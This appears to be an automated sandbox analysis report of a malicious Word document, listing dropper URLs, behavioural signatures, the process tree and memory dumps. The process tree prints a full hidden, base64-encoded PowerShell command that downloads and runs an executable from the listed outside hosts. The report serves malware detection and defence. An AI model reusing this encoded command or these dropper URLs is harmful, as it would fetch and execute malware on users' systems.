Analysis
- max time kernel
134s - max time network
138s - platform
windows10-1703_x64 - resource
win10-20240221-en - resource tags
- submitted
29/03/2024, 16:07
General
- Target VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
- Size 125KB
- Sample240329-tk2l3aca9x
- SHA256 8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c
Malware Config
Extracted
-
ps1
-
exe.dropper
https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/
-
exe.dropper
https://www.wenkawang.com/data/bofze0s-7ji4-15/
-
exe.dropper
https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/
-
exe.dropper
http://ma.jopedu.com/img/8z8dl-3xn-655019278/
-
exe.dropper
http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
B7F67664.wmf
__PSScriptPolicyTest_ifpjszfw.rxd.ps1
memory/336-327-0x00007FFE88790000-0x00007FFE8917C000-memory.dmp
memory/336-246-0x0000025FF4AA0000-0x0000025FF4AB0000-memory.dmp
memory/336-221-0x0000025FF4D60000-0x0000025FF4DD6000-memory.dmp
memory/336-217-0x0000025FF4AA0000-0x0000025FF4AB0000-memory.dmp
memory/336-215-0x0000025FF4AA0000-0x0000025FF4AB0000-memory.dmp
memory/336-213-0x00007FFE88790000-0x00007FFE8917C000-memory.dmp
memory/336-211-0x0000025FDC3C0000-0x0000025FDC3E2000-memory.dmp
memory/4980-13-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-33-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-0-0x00007FFE71CC0000-0x00007FFE71CD0000-memory.dmp
memory/4980-14-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-15-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-16-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-17-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-18-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-19-0x00007FFE6EBF0000-0x00007FFE6EC00000-memory.dmp
memory/4980-20-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-21-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-23-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-25-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-27-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-29-0x00007FFEAF1F0000-0x00007FFEAF29E000-memory.dmp
memory/4980-30-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-31-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-11-0x00007FFE6EBF0000-0x00007FFE6EC00000-memory.dmp
memory/4980-35-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-36-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-38-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-176-0x000001D52DEA0000-0x000001D52E0A0000-memory.dmp
memory/4980-12-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-10-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-9-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-8-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-6-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-3-0x00007FFE71CC0000-0x00007FFE71CD0000-memory.dmp
memory/4980-4-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-2-0x00007FFE71CC0000-0x00007FFE71CD0000-memory.dmp
memory/4980-1-0x00007FFE71CC0000-0x00007FFE71CD0000-memory.dmp
memory/4980-334-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-335-0x00007FFEB1C30000-0x00007FFEB1E0B000-memory.dmp
memory/4980-336-0x00007FFEAF1F0000-0x00007FFEAF29E000-memory.dmp
memory/4980-337-0x000001D52DEA0000-0x000001D52E0A0000-memory.dmp